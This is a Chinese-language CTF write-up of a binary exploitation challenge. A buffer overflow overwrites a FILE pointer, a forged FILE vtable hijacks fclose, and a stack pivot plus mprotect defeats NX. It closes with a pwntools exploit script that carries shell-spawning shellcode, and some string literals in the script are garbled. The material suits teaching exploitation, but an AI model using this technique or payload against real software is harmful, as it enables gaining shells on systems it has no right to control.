题目涉及:
- 伪造文件流(FILE Stream)
- 调整栈帧(stack pivot)
源码分析
题目给的是一个32位静态编译的程序,保护开启情况如图:
程序的大概业务流程是打开名为输入名称+随机数文件的随机内容
的文件,然后可以读取并输出这个文件的内容。
在 welcome 函数读入用户名时,没有限制输入长度,存在缓冲区溢出。
变量 x 位于 bss 段,文件指针 dword_80EFA00 也位于 bss 段,与 x 位置关系如图:
存储控制 x 输入内容,可以覆写文件指针 dword_80EFA00。程序最后调用了 fclose ,所以可以更改虚表指针来劫持控制流。
根据FILE结构,在 bss 段伪造出一个类似的结构,然后控制FILE里面的函数指针,执行任意代码。例如:执行fclose(fileexample)
相当于调用 fileexample 这个文件(file)结构体虚表结构的 close 函数指针。
成功劫持文件流后,有一次调用机会(顺序执行一遍代码)。题目开启了 NX 保护,不能执行栈上 shellcode 。采取的解决办法是:先调整栈帧、扩充栈空间,使用 mprotect 函数改权限,让新的栈空间有可执行权限。
:link:Linux中mprotect()函数的用法
1 2 3
| #include <unistd.h> #include <sys/mmap.h> int mprotect(const void *start, size_t len, int prot);
|
代码实现
mprotect 地址是用 gdb 加载程序后,print mprotect 查到。(无PIE)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * context.log_level = &
p = process(&
mprotect_addr = 0x08071fd0
pop_esp_ret = 0x080e2b6d
xchg_esp_eax_ret = 0x08048f66
payload = & payload += p32(0x080efa00 + 4) payload += p32(0xffffffff) * (148 / 4) payload += p32(0x080efa00 + 156) payload += p32(pop_esp_ret) payload += p32(0x080efa00 + 200) payload += p32(xchg_esp_eax_ret) fill_up = 200 - len(payload) + 32 payload += & payload += p32(mprotect_addr) payload += p32(0x080efa00 + 200 + 20) payload += p32(0x080ef000) payload += p32(1024) payload += p32(7) payload += encoders.encoder.line(asm(shellcraft.sh()))
p.recvuntil("name?") p.sendline(payload)
p.recvuntil(">") p.sendline("3")
p.interactive()
|